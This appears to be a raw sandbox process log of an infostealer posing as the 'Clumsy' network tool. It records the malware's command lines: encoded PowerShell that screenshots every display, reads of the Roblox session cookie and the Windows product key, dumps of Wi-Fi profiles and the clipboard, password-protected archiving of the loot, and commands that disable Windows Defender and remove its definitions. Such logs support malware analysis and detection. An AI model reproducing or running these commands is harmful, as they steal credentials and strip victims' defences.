IAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="

C:\Windows\System32\Wbem\WMIC.exe

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-Clipboard

C:\Windows\system32\reg.exe

REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath

C:\Windows\system32\netsh.exe

netsh wlan show profile

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\systeminfo.exe

systeminfo

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\attrib.exe

attrib -r C:\Windows\System32\drivers\etc\hosts

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\attrib.exe

attrib +r C:\Windows\System32\drivers\etc\hosts

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\v400sybl\v400sybl.cmdline"

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES911.tmp" "c:\Users\Admin\AppData\Local\Temp\v400sybl\CSC1D75C557F1426BB82727C1775E1BA2.TMP"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\tree.com

tree /A /F

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4004"

C:\Windows\System32\Conhost.exe

\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4004"

C:\Windows\system32\taskkill.exe

taskkill /F /PID 4004

C:\Windows\system32\taskkill.exe

taskkill /F /PID 4004

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY

C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe

"C:\Users\Admin\Downloads\HttpToolkit-win-x64-1.19.0\HTTP Toolkit.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --user-data-dir="C:\Users\Admin\AppData\Roaming\httptoolkit" --gpu-preferences=WAAAAAAAAADoAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAABEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --mojo-platform-channel-handle=4128 --field-trial-handle=1784,i,1757674099044512439,15915100723782539794,262144 --enable-features=kWebSQLAccess --disable-features=SpareRendererForSitePerProcess,WinDelaySpellcheckServiceInit,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version /prefetch:8

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "getmac"

C:\Windows\system32\getmac.exe

getmac

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI39362\rar.exe a -r -hp"skoch" "C:\Users\Admin\AppData\Local\Temp\HML0g.zip" *"

C:\Users\Admin\AppData\Local\Temp\_MEI39362\rar.exe

C:\Users\Admin\AppData\Local\Temp\_MEI39362\rar.exe a -r -hp"skoch" "C:\Users\Admin\AppData\Local\Temp\HML0g.zip" *

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic os get Caption"

C:\Windows\System32\Wbem\WMIC.exe

wmic os get Caption

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"

C:\Windows\System32\Wbem\WMIC.exe

wmic computersystem get totalphysicalmemory

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"

C:\Windows\System32\Wbem\WMIC.exe

wmic csproduct get uuid

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"

C:\Windows\System32\Wbem\WMIC.exe

wmic path win32_VideoController get name

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault

C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe

"C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe"

C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe

"C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe'"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('You do not own this file please try again', 0, 'ERROR', 0+16);close()""

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend

C:\Windows\system32\mshta.exe

mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('You do not own this file please try again', 0, 'ERROR', 0+16);close()"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Clumsy0.4v3\Clumsy0.4v3.exe'

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tree /A /F"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "netsh wlan show profile"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "systeminfo"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAg